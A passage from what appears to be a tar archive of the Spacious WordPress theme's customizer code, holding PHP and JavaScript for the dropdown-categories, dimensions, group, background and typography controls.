empty( $input_attrs ) ) { foreach ( $input_attrs as $input_key => $input_value ) { $input_value['letter-spacing']['min'] = isset( $input_value['letter-spacing']['min'] ) ? $input_value['letter-spacing']['min'] : 0; $input_value['letter-spacing']['step'] = isset( $input_value['letter-spacing']['step'] ) ? $input_value['letter-spacing']['step'] : 1; if ( isset( $input_value['letter-spacing']['max'] ) && $value > $input_value['letter-spacing']['max'] ) { $letter_spacing_values[ $key ] = self::sanitize_text_field( $input_value['letter-spacing']['max'] ); } elseif ( $value < $input_value['letter-spacing']['min'] ) { $letter_spacing_values[ $key ] = self::sanitize_text_field( $input_value['letter-spacing']['min'] ); } else { $letter_spacing_values[ $key ] = self::sanitize_text_field( $value ); } } } else { $letter_spacing_values[ $key ] = sanitize_text_field( $value ); } } $output['letter-spacing'] = $letter_spacing_values; } } return $output; } /** * Sanitize the sortable value set within customizer controls. * * @param number $input Customizer setting input sortable arguments. * @param object $setting Setting object. * * @return mixed */ public static function sanitize_sortable( $input, $setting ) { // Get list of choices from the control associated with the setting. $choices = $setting->manager->get_control( $setting->id )->choices; $input_keys = $input; foreach ( $input_keys as $key => $value ) { if ( ! array_key_exists( $value, $choices ) ) { unset( $input[ $key ] ); } } // If the input is a valid key, return it, otherwise, return the default. return ( is_array( $input ) ? $input : $setting->default ); } } core/custom-controls/dropdown-categories/class-spacious-dropdown-categories-control.php000066600000005420152367043330025736 0ustar00<?php /** * Extend WP_Customize_Control to add dropdown categories control. * * Class Spacious_Dropdown_Categories_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add dropdown categories customize control. * * Class Spacious_Dropdown_Categories_Control */ class Spacious_Dropdown_Categories_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-dropdown-categories'; /** * Dropdown categories array for this control. * * @var array */ public $dropdown = array(); /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $dropdown = wp_dropdown_categories( array( 'echo' => false, 'name' => '_customize-dropdown-categories-' . esc_attr( $this->id ), 'show_option_none' => ' ', 'option_none_value' => '-1', 'selected' => esc_attr( $this->value() ), ) ); // Add in the data link parameter for dropdown categories. $dropdown = str_replace( '<select', '<select ' . $this->get_link(), $dropdown ); $this->json['dropdown'] = $dropdown; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div class="customize-control-content"> {{{ data.dropdown }}} </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/dropdown-categories/dropdown-categories.js000066600000000745152367043330021163 0ustar00/** * Dropdown categories control JS to handle the dropdown categories customize control. * * File `dropdown-categorie.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-dropdown-categories' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Change the value. this.container.on( 'change', 'select', function () { control.setting.set( jQuery( this ).val() ); } ); } } ); core/custom-controls/class-spacious-customize-base-control.php000066600000004044152367043330020733 0ustar00<?php /** * Spacious customizer base control class for theme customize options. * * Class Spacious_Customize_Base_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Spacious customizer base control class. * * Class Spacious_Customize_Base_Control */ class Spacious_Customize_Base_Control { /** * Registered Controls. * * @var array */ public static $controls; /** * Add Control to self::$controls and register custom controls to WordPress Customizer. * * @param string $name Slug for the control. * @param array $attributes Control Attributes. * * @return void */ public static function add_control( $name, $attributes ) { global $wp_customize; self::$controls[ $name ] = $attributes; if ( isset( $attributes['callback'] ) ) { $wp_customize->register_control_type( $attributes['callback'] ); } } /** * Returns control instance. * * @param string $control_type Control type. * * @return string */ public static function get_control_instance( $control_type ) { $control_class = self::get_control( $control_type ); if ( isset( $control_class['callback'] ) ) { return class_exists( $control_class['callback'] ) ? $control_class['callback'] : false; } return false; } /** * Returns control and its attributes. * * @param string $control_type Control type. * * @return array */ public static function get_control( $control_type ) { if ( isset( self::$controls[ $control_type ] ) ) { return self::$controls[ $control_type ]; } return array(); } /** * Returns santize callback for control. * * @param string $control Control type for customize option. * * @return string */ public static function get_sanitize_callback( $control ) { if ( isset( self::$controls[ $control ]['sanitize_callback'] ) ) { return self::$controls[ $control ]['sanitize_callback']; } return false; } } return new Spacious_Customize_Base_Control(); core/custom-controls/dimensions/dimensions.js000066600000010046152367043330015540 0ustar00/** * Dimensions JS to handle the background customize option. * * File `background.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-dimensions'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Top Dimension setting. control.container.on( 'change keyup paste input', '.top input', function () { control.updateTop(); } ); // Right Dimension setting. control.container.on( 'change keyup paste input', '.right input', function () { control.updateRight(); } ); // Left Dimension setting. control.container.on( 'change keyup paste input', '.left input', function () { control.updateLeft(); } ); // Bottom Dimension setting. control.container.on( 'change keyup paste input', '.bottom input', function () { control.updateBottom(); } ); }, updateTop : function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'top' : {} }; control.container.find( '.top .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['top'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateRight : function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'right' : {} }; control.container.find( '.right .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['right'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateBottom: function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'bottom' : {} }; control.container.find( '.bottom .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['bottom'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateLeft : function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'left' : {} }; control.container.find( '.left .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['left'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, } );core/custom-controls/dimensions/class-spacious-dimensions-control.php000066600000010203152367043330022313 0ustar00<?php /** * Customize Dimensions control class. * * @package spacious * * @see WP_Customize_Control * @access public */ /** * Class Spacious_Dimensions_Control */ class Spacious_Dimensions_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-dimensions'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['choices'] = $this->choices; } /** * Renders the Underscore template for this control. * * @see WP_Customize_Control::print_template() * @access protected * @return void */ protected function content_template() { ?> <label> <# if ( data.label ) { #><span class="customize-control-title">{{{ data.label }}}</span><# } #> <# if ( data.description ) { #><span class="description customize-control-description">{{{ data.description }}}</span><# } #> <div class="wrapper"> <div class="control"> <# if ( data.default['top'] ) { #> <div class="top"> <h5>Top</h5> <div class="input-wrapper"> <input type="text" <# if ( data.value['top'] ) { #> value="{{ data.value['top'] }}" <# } else { #> value="{{ data.default['top'] }}" <# } #> /> </div> </div> <# } #> <# if ( data.default['right'] ) { #> <div class="right"> <h5>Right</h5> <div class="input-wrapper"> <input type="text" <# if ( data.value['right'] ) { #> value="{{ data.value['right'] }}" <# } else { #> value="{{ data.default['right'] }}" <# } #> /> </div> </div> <# } #> <# if ( data.default['bottom'] ) { #> <div class="bottom"> <h5>Bottom</h5> <div class="input-wrapper"> <input type="text" <# if ( data.value['bottom'] ) { #> value="{{ data.value['bottom'] }}" <# } else { #> value="{{ data.default['bottom'] }}" <# } #> /> </div> </div> <# } #> <# if ( data.default['left'] ) { #> <div class="left"> <h5>Left</h5> <div class="input-wrapper"> <input type="text" <# if ( data.value['left'] ) { #> value="{{ data.value['left'] }}" <# } else { #> value="{{ data.default['left'] }}" <# } #> /> </div> </div> </div> <# } #> <input class="dimensions-hidden-value" value="{{ JSON.stringify( data.value ) }}" type="hidden" {{{ data.link }}} > </div> </label> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ protected function render_content() { } } core/custom-controls/group/class-spacious-group-control.php000066600000007016152367043330020273 0ustar00<?php /** * Extend WP_Customize_Control to include group control. * * Class Spacious_Group_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the group customize control. * * Class Spacious_Group_Control */ class Spacious_Group_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-group'; /** * The control name. * * @var string */ public $name = ''; /** * The control tab value. * * @var string */ public $tab = ''; /** * The fields for group. * * @var string */ public $spacious_fields = ''; /** * Enqueue control related scripts/styles. */ public function enqueue() { parent::enqueue(); // Enqueue jQuery UI tabs. wp_enqueue_script( 'jquery-ui-tabs' ); $tmpl = '<div class="spacious-field-settings-modal">'; $tmpl .= '<ul class="spacious-fields-wrap">'; $tmpl .= '</ul>'; $tmpl .= '</div>'; wp_localize_script( 'spacious-customize-controls', 'SpaciousCustomizerControlGroup', array( 'group_modal_tmpl' => $tmpl, ) ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['name'] = $this->name; $config = array(); if ( isset( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'] ) ) { $tab = array_keys( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'] ); foreach ( $tab as $key => $value ) { $config['tabs'][ $value ] = wp_list_sort( Spacious_Customizer_FrameWork::$group_configs[ $this->name ]['tabs'][ $value ], 'priority' ); } } else { if ( isset( Spacious_Customizer_FrameWork::$group_configs[ $this->name ] ) ) { $config = wp_list_sort( Spacious_Customizer_FrameWork::$group_configs[ $this->name ], 'priority' ); } } $this->json['spacious_fields'] = $config; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="spacious-group-wrap"> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> <span class="spacious-group-toggle-icon dashicons <# if ( data.description ) { #>toggle-description<# } #>" data-control="{{ data.name }}"></span> </div> </div> <div class="spacious-field-settings-wrap"> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/group/group.js000066600000074714152367043330013524 0ustar00/** * Group control JS to handle the group customize option. * * File `group.js`. * * @package Spacious */ ( function ( $ ) { wp.customize.controlConstructor['spacious-group'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; control.registerToggleEvents(); this.container.on( 'spacious_settings_changed', control.onOptionChange ); }, registerToggleEvents : function () { var control = this; /* Close popup when click outside on customize sidebar area */ $( '.wp-full-overlay-sidebar-content' ).click( function ( e ) { if ( ! $( e.target ).closest( '.spacious-field-settings-modal' ).length ) { $( '.spacious-group-toggle-icon.open' ).trigger( 'click' ); } } ); control.container.on( 'click', '.spacious-group-wrap .spacious-group-toggle-icon', function ( e ) { e.preventDefault(); e.stopPropagation(); var $this = $( this ), parent_wrap = $this.closest( '.customize-control-spacious-group' ), is_loaded = parent_wrap.find( '.spacious-field-settings-modal' ).data( 'loaded' ), parent_section = parent_wrap.parents( '.control-section' ); if ( $this.hasClass( 'open' ) ) { parent_wrap.find( '.spacious-field-settings-modal' ).hide(); } else { /* Close popup when another popup is clicked */ var get_open_popup = parent_section.find( '.spacious-group-toggle-icon.open' ); if ( get_open_popup.length > 0 ) { get_open_popup.trigger( 'click' ); } if ( is_loaded ) { parent_wrap.find( '.spacious-field-settings-modal' ).show(); } else { var fields = control.params.spacious_fields, modal_wrap = $( SpaciousCustomizerControlGroup.group_modal_tmpl ), device = $( '#customize-footer-actions .active' ).attr( 'data-device' ); parent_wrap.find( '.spacious-field-settings-wrap' ).append( modal_wrap ); parent_wrap.find( '.spacious-fields-wrap' ).attr( 'data-control', control.params.name ); control.spacious_render_field( parent_wrap, fields, control ); parent_wrap.find( '.spacious-field-settings-modal' ).show(); if ( 'mobile' === device ) { $( '.control-wrap.mobile' ).addClass( 'active' ); $( '.responsive-switchers .preview-mobile' ).addClass( 'active' ); $( '.control-wrap.tablet, .control-wrap.desktop' ).removeClass( 'active' ); $( '.responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop' ).removeClass( 'active' ); } else if ( 'tablet' === device ) { $( '.control-wrap.tablet' ).addClass( 'active' ); $( '.responsive-switchers .preview-tablet' ).addClass( 'active' ); $( '.control-wrap.mobile, .control-wrap.desktop' ).removeClass( 'active' ); $( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop' ).removeClass( 'active' ); } else { $( '.control-wrap.desktop' ).addClass( 'active' ); $( '.responsive-switchers .preview-desktop' ).addClass( 'active' ); $( '.control-wrap.mobile, .control-wrap.tablet' ).removeClass( 'active' ); $( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet' ).removeClass( 'active' ); } } } $this.toggleClass( 'open' ); } ); control.container.on( 'click', '.spacious-group-wrap > .customizer-text', function ( e ) { e.preventDefault(); e.stopPropagation(); $( this ).find( '.spacious-group-toggle-icon' ).trigger( 'click' ); } ); }, spacious_render_field : function ( wrap, fields, control_element ) { var control = this; var spacious_field_wrap = wrap.find( '.spacious-fields-wrap' ); var fields_html = ''; var control_types = []; var field_values = control.isJSONString( control_element.params.value ) ? JSON.parse( control_element.params.value ) : {}; if ( 'undefined' != typeof fields.tabs ) { var counter = 0; fields_html += '<div id="' + control_element.params.name + '-tabs" class="spacious-group-tabs">'; fields_html += '<ul class="spacious-group-list">'; _.each( fields.tabs, function ( value, key ) { var li_class = ''; if ( 0 === counter ) { li_class = "active"; } fields_html += '<li class="' + li_class + '"><a href="#tab-' + key.replace( ' ','-' ) + '"><span>' + key + '</span></a></li>'; counter ++; } ); fields_html += '</ul>'; fields_html += '<div class="spacious-tab-content" >'; _.each( fields.tabs, function ( fields_data, key ) { var result = control.generateFieldHtml( fields_data, field_values ); fields_html += '<div id="tab-' + key.replace( ' ','-' ) + '" class="tab">'; fields_html += result.html; _.each( result.controls, function ( control_value, control_key ) { control_types.push( { key : control_value.key, value : control_value.value, name : control_value.name } ); } ); fields_html += '</div>'; } ); fields_html += '</div>'; fields_html += '</div>'; spacious_field_wrap.html( fields_html ); $( '#' + control_element.params.name + '-tabs' ).tabs(); } else { var result = control.generateFieldHtml( fields, field_values ); fields_html += result.html; _.each( result.controls, function ( control_value, control_key ) { control_types.push( { key : control_value.key, value : control_value.value, name : control_value.name } ); } ); spacious_field_wrap.html( fields_html ); } _.each( control_types, function ( control_type, index ) { switch ( control_type.key ) { case 'spacious-color': control.initColorControl( spacious_field_wrap, control_element, control_type.name ); break; case 'spacious-background': control.initBackgroundControl( control_element, control_type, control_type.name ); break; case 'spacious-typography': control.initTypographyControl( control_element, control_type, control_type.name ); break; } } ); wrap.find( '.spacious-field-settings-modal' ).data( 'loaded', true ); }, isJSONString : function ( string ) { try { JSON.parse( string ); } catch ( e ) { return false; } return true; }, generateFieldHtml : function ( fields_data, field_values ) { var fields_html = ''; var control_types = []; _.each( fields_data, function ( attr, index ) { var new_value = ( wp.customize.control( attr.name ) ? wp.customize.control( attr.name ).params.value : '' ), control = attr.control, template_id = 'customize-control-' + control + '-content', template = wp.template( template_id ), value = new_value || attr.default, dataAtts = '', input_attrs = ''; attr.value = value; attr.title = attr.label; // Data attributes. _.each( attr.data_attrs, function ( value, name ) { dataAtts += ' data-' + name + ' ="' + value + '"'; } ); // Input attributes. _.each( attr.input_attrs, function ( value, name ) { input_attrs += name + ' ="' + value + '"'; } ); attr.dataAttrs = dataAtts; attr.inputAttrs = input_attrs; control_types.push( { key : control, value : value, name : attr.name } ); var responsive_switchers = '', controlsType = [ 'spacious-typography' ]; if ( ( 'spacious-typography' === attr.control ) && controlsType.includes( attr.control ) ) { attr.languages = SpaciousCustomizerControlTypographySubsets; } if ( controlsType.includes( attr.control ) ) { responsive_switchers = 'has-responsive-switchers'; } fields_html += '<li id="customize-control-' + attr.name + '" class="customize-control ' + responsive_switchers + ' customize-control-' + attr.control + '" >'; fields_html += template( attr ); fields_html += '</li>'; } ); var result = new Object(); result.controls = control_types; result.html = fields_html; return result; }, onOptionChange : function ( e, control, element, value, name ) { var control_id = $( '.hidden-field-' + name ); control_id.val( value ); var sub_control = wp.customize.control( name ); sub_control.setting.set( value ); }, initColorControl : function ( wrap, control_elem, name ) { var control = this; var colorpicker = wrap.find( '.customize-control-spacious-color .spacious-color-picker-alpha' ); colorpicker.wpColorPicker( { change : function ( event, ui ) { if ( 'undefined' != typeof event.originalEvent || 'undefined' != typeof ui.color._alpha ) { var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); $( element ).val( ui.color.toString() ); control.container.trigger( 'spacious_settings_changed', [ control, $( element ), ui.color.toString(), name ] ); } }, clear : function ( event ) { var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); $( element ).val( '' ); control.container.trigger( 'spacious_settings_changed', [ control, $( element ), '', name ] ); wp.customize.previewer.refresh(); } } ); }, initBackgroundControl : function ( control, control_atts, name ) { var input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ), value = JSON.parse( input.val() ), control_name = control_atts.name, colorpicker = control.container.find( '.spacious-color-picker-alpha' ), controlContainer = control.container.find( '#customize-control-' + control_name ); // Hide unnecessary controls if the value doesn't have an image. if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) { controlContainer.find( '.customize-control-content > .background-repeat' ).hide(); controlContainer.find( '.customize-control-content > .background-position' ).hide(); controlContainer.find( '.customize-control-content > .background-size' ).hide(); controlContainer.find( '.customize-control-content > .background-attachment' ).hide(); } // Background color setting. colorpicker.wpColorPicker( { change : function () { if ( $( 'html' ).hasClass( 'colorpicker-ready' ) ) { var $this = $( this ); setTimeout( function () { control.saveBackgroundValue( 'background-color', colorpicker.val(), $this, name ); }, 100 ); } }, clear : function ( event ) { var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; if ( element ) { control.saveBackgroundValue( 'background-color', '', $( element ), name ); } wp.customize.previewer.refresh(); } } ); // Background image setting.. controlContainer.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) { var upload_img_btn = $( this ); var image = wp.media( { multiple : false } ).open().on( 'select', function () { // This will return the selected image from the Media Uploader, the result is an object. var uploadedImage = image.state().get( 'selection' ).first(), previewImage = uploadedImage.toJSON().sizes.full.url, imageUrl, imageID, imageWidth, imageHeight, preview, removeButton; if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) { previewImage = uploadedImage.toJSON().sizes.medium.url; } else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) { previewImage = uploadedImage.toJSON().sizes.thumbnail.url; } imageUrl = uploadedImage.toJSON().sizes.full.url; imageID = uploadedImage.toJSON().id; imageWidth = uploadedImage.toJSON().width; imageHeight = uploadedImage.toJSON().height; // Show extra controls if the value has an image. if ( '' !== imageUrl ) { controlContainer.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show(); } control.saveBackgroundValue( 'background-image', imageUrl, upload_img_btn, name ); preview = controlContainer.find( '.placeholder, .thumbnail' ); removeButton = controlContainer.find( '.background-image-upload-remove-button' ); if ( preview.length ) { preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' ); } if ( removeButton.length ) { removeButton.show(); } } ); e.preventDefault(); } ); controlContainer.on( 'click', '.background-image-upload-remove-button', function ( e ) { var preview, removeButton; e.preventDefault(); control.saveBackgroundValue( 'background-image', '', $( this ) ); preview = controlContainer.find( '.placeholder, .thumbnail' ); removeButton = controlContainer.find( '.background-image-upload-remove-button' ); // Hide unnecessary controls. controlContainer.find( '.customize-control-content > .background-repeat' ).hide(); controlContainer.find( '.customize-control-content > .background-position' ).hide(); controlContainer.find( '.customize-control-content > .background-size' ).hide(); controlContainer.find( '.customize-control-content > .background-attachment' ).hide(); if ( preview.length ) { preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder ); } if ( removeButton.length ) { removeButton.hide(); } } ); // Background repeat setting. controlContainer.on( 'change', '.background-repeat select', function () { control.saveBackgroundValue( 'background-repeat', $( this ).val(), $( this ), name ); } ); // Background position setting. controlContainer.on( 'change', '.background-position select', function () { control.saveBackgroundValue( 'background-position', $( this ).val(), $( this ), name ); } ); // Background size setting. controlContainer.on( 'change', '.background-size select', function () { control.saveBackgroundValue( 'background-size', $( this ).val(), $( this ), name ); } ); // Background attachment setting. controlContainer.on( 'change', '.background-attachment select', function () { control.saveBackgroundValue( 'background-attachment', $( this ).val(), $( this ), name ); } ); }, saveBackgroundValue : function ( property, value, element, name ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ), val = JSON.parse( input.val() ); val[property] = value; $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, initTypographyControl : function ( control, control_atts, name ) { var value = control.setting._value, control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ); // On customizer load, render the available font options. control.renderTypographyFontSelector( $( this ), name, control_atts ); control.renderTypographyVariantSelector( $( this ), name, control_atts ); control.renderTypographySubsetSelector( $( this ), name, control_atts ); // Font style setting. controlContainer.on( 'change', '.font-style select', function () { control.saveTypographyValue( 'font-style', $( this ).val(), $( this ), name ); } ); // Text transform setting. controlContainer.on( 'change', '.text-transform select', function () { control.saveTypographyValue( 'text-transform', $( this ).val(), $( this ), name ); } ); // Text decoration setting. controlContainer.on( 'change', '.text-decoration select', function () { control.saveTypographyValue( 'text-decoration', $( this ).val(), $( this ), name ); } ); // Font size setting. controlContainer.on( 'change keyup paste input', '.font-size input', function () { control.saveTypographyFontSize( $( this ), name, control_atts ); } ); // Line height setting. controlContainer.on( 'change keyup paste input', '.line-height input', function () { control.saveTypographyLineHeight( $( this ), name, control_atts ); } ); // Letter spacing setting. controlContainer.on( 'change keyup paste input', '.letter-spacing input', function () { control.saveTypographyLetterSpacing( $( this ), name, control_atts ); } ); }, renderTypographyFontSelector : function ( element, name, control_atts ) { var control = this, selector = control.selector + ' .font-family select', standardFonts = [], googleFonts = [], customFonts = [], input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), value = JSON.parse( input.val() ), fonts = control.getTypographyFonts(), fontSelect; // Format standard fonts as an array. if ( ! _.isUndefined( fonts.standard ) ) { _.each( fonts.standard, function ( font ) { standardFonts.push( { id : font.family.replace( /"/g, ''' ), text : font.label } ); } ); } // Format Google fonts as an array. if ( ! _.isUndefined( fonts.google ) ) { _.each( fonts.google, function ( font ) { googleFonts.push( { id : font.family, text : font.label } ); } ); } // Combine fonts and build the final data. data = [ { text : fonts.standardfontslabel, children : standardFonts }, { text : fonts.googlefontslabel, children : googleFonts } ]; // Format custom fonts as an array. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { customFonts.push( { id : font.family, text : font.label } ); } ); // Merge on `data` array. data.push( { text : fonts.customfontslabel, children : customFonts } ); } // Instantiate selectWoo with the data. fontSelect = $( selector ).selectWoo( { data : data, width : '100%' } ); // Set the initial value. if ( value['font-family'] ) { fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' ); } // When the font option value changes. fontSelect.on( 'change', function () { // Set the value. control.saveTypographyValue( 'font-family', $( this ).val(), $( this ), name ); // Render new list of selected font options. control.renderTypographyVariantSelector( $( this ), name, control_atts ); control.renderTypographySubsetSelector( $( this ), name, control_atts ); } ); }, getTypographyFonts : function () { var control = this; if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) { return SpaciousCustomizerControlTypography; } return { google : [], standard : [] }; }, renderTypographyVariantSelector : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), value = JSON.parse( input.val() ), fontFamily = value['font-family'], variants = control.getTypographyVariants( fontFamily ), selector = control.selector + ' .font-weight select', data = [], isValid = false, variantSelector; if ( false !== variants ) { $( control.selector + ' .font-weight' ).show(); _.each( variants, function ( variant ) { if ( value['font-weight'] === variant.id ) { isValid = true; } data.push( { id : variant.id, text : variant.label } ); } ); if ( ! isValid ) { value['font-weight'] = 'regular'; } if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) { $( selector ).selectWoo( 'destroy' ); $( selector ).empty(); } // Instantiate selectWoo with the data. variantSelector = $( selector ).selectWoo( { data : data, width : '100%' } ); variantSelector.val( value['font-weight'] ).trigger( 'change' ); variantSelector.on( 'change', function () { control.saveTypographyValue( 'font-weight', $( this ).val(), $( this ), name ); } ); } else { $( control.selector + ' .font-weight' ).hide(); } }, getTypographyVariants : function ( fontFamily ) { var control = this, fonts = control.getTypographyFonts(); var variants = false; _.each( fonts.standard, function ( font ) { if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) { variants = font.variants; return variants; } } ); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { variants = font.variants; return variants; } } ); // For custom fonts. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { if ( font.custom === fontFamily ) { variants = font.variants; return variants; } } ); } return variants; }, renderTypographySubsetSelector : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), value = JSON.parse( input.val() ), fontFamily = value['font-family'], subsets = control.getTypographySubsets( fontFamily ), selector = control.selector + ' .subsets select', data = [], validValue = value.subsets, subsetSelector; if ( false !== subsets ) { $( control.selector + ' .subsets' ).show(); _.each( subsets, function ( subset ) { if ( _.isObject( validValue ) ) { if ( - 1 === validValue.indexOf( subset.id ) ) { validValue = _.reject( validValue, function ( subValue ) { return subValue === subset.id; } ); } } data.push( { id : subset.id, text : subset.label } ); } ); } else { $( control.selector + ' .subsets' ).hide(); } if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) { $( selector ).selectWoo( 'destroy' ); $( selector ).empty(); } // Instantiate selectWoo with the data. subsetSelector = $( selector ).selectWoo( { data : data, width : '100%' } ); subsetSelector.val( validValue ).trigger( 'change' ); subsetSelector.on( 'change', function () { control.saveTypographyValue( 'subsets', $( this ).val(), $( this ), name ); } ); }, getTypographySubsets : function ( fontFamily ) { var control = this, subsets = false, fonts = control.getTypographyFonts(); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { subsets = font.subsets; return subsets; } } ); return subsets; }, saveTypographyFontSize : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ), control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ), newValue = { 'font-size' : {} }; controlContainer.find( '.font-size .control-wrap' ).each( function () { var controlValue = $( this ).find( 'input' ).val(); var device = $( this ).find( 'input' ).data( 'device' 